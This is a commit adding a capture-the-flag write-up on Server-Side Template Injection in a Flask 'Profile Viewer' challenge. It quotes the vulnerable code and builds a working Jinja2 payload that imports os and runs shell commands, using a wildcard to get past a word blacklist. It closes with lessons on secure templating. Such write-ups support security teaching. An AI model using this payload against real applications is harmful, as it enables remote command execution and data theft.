Added writeups
This commit is contained in:
108
render_me_this.md
Normal file
108
render_me_this.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This
|
||||
|
||||
Welcome to the write-up for **Render Me This**. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as **Server-Side Template Injection (SSTI)**.
|
||||
|
||||
We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.
|
||||
|
||||
---
|
||||
|
||||
## 1. Initial Reconnaissance
|
||||
|
||||
The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".
|
||||
|
||||
The URL likely looks like this:
|
||||
`http://challenge-url/?name=Guest`
|
||||
|
||||
If we change the `name` parameter to `Test`, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.
|
||||
|
||||
## 2. Source Code Analysis
|
||||
|
||||
Let's examine the provided `app.py` to understand how the page is generated.
|
||||
|
||||
```python
|
||||
@app.route('/')
|
||||
def index():
|
||||
# Get the 'name' parameter
|
||||
name = request.args.get('name', 'Guest')
|
||||
|
||||
# 1. Check for Blacklisted words
|
||||
for bad_word in BLACKLIST:
|
||||
if bad_word in name.lower():
|
||||
return "Hacker detected! ..."
|
||||
|
||||
# 2. Vulnerable Template Construction
|
||||
template = f'''
|
||||
...
|
||||
<h1>Hello, {name}!</h1>
|
||||
...
|
||||
'''
|
||||
|
||||
# Render the template
|
||||
return render_template_string(template)
|
||||
```
|
||||
|
||||
### The Vulnerability: SSTI
|
||||
The critical flaw is in how the `template` string is constructed. The developer uses a Python f-string (`f'''... {name} ...'''`) to insert the user's input *directly into the template source code* before passing it to `render_template_string`.
|
||||
|
||||
In Flask (Jinja2), `{{ ... }}` is used to execute code within a template. By injecting `{{ 7*7 }}`, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.
|
||||
|
||||
### The Obstacle: The Blacklist
|
||||
The application attempts to secure itself with a blacklist:
|
||||
`BLACKLIST = ["config", "self", "flag"]`
|
||||
|
||||
This means we cannot use the standard SSTI payloads like `{{ config }}` or `{{ self.__dict__ }}`. We also cannot simply run `cat flag.txt` because the word "flag" is forbidden.
|
||||
|
||||
## 3. Developing the Exploit
|
||||
|
||||
We need to find a way to access the Python `os` module to run system commands, without using the blacklisted words.
|
||||
|
||||
In Python web frameworks like Flask, the `request` object is often available in the template context. Through `request`, we can traverse the Python object hierarchy to reach the global scope and import modules.
|
||||
|
||||
**Step 1: Accessing Built-ins**
|
||||
We can use the `request` object to access the global scope:
|
||||
`request.application.__globals__`
|
||||
|
||||
From there, we can access Python's built-in functions:
|
||||
`request.application.__globals__.__builtins__`
|
||||
|
||||
**Step 2: Importing OS**
|
||||
Now we can use the `__import__` function to load the `os` module:
|
||||
`request.application.__globals__.__builtins__.__import__('os')`
|
||||
|
||||
**Step 3: Executing Commands**
|
||||
With the `os` module, we can use `popen` to execute shell commands and `read` to get the output:
|
||||
`.popen('ls').read()`
|
||||
|
||||
**Step 4: Bypassing the "flag" Filter**
|
||||
If we try to run `cat flag.txt`, the application will block us because it contains "flag".
|
||||
We can bypass this using shell wildcards. instead of `flag.txt`, we can say `fl*`.
|
||||
`cat fl*` matches `flag.txt` but doesn't contain the forbidden string "flag".
|
||||
|
||||
## 4. The Final Payload
|
||||
|
||||
Putting it all together, our payload looks like this:
|
||||
|
||||
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
||||
|
||||
We need to URL-encode this payload before sending it to the server.
|
||||
|
||||
**Encoded URL:**
|
||||
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
||||
|
||||
## 5. The Solution
|
||||
|
||||
Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.
|
||||
|
||||
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
||||
|
||||
---
|
||||
|
||||
## Lessons Learned
|
||||
|
||||
* **Context Matters:** Never concatenate user input directly into a template string.
|
||||
* **Use the Framework Correctly:** Always pass data as context variables to the render function.
|
||||
* *Vulnerable:* `render_template_string(f"Hello {name}")`
|
||||
* *Secure:* `render_template_string("Hello {{ name }}", name=user_input)`
|
||||
* **Blacklists Fail:** trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).
|
||||
|
||||
Happy Hacking!
|
||||
Reference in New Issue
Block a user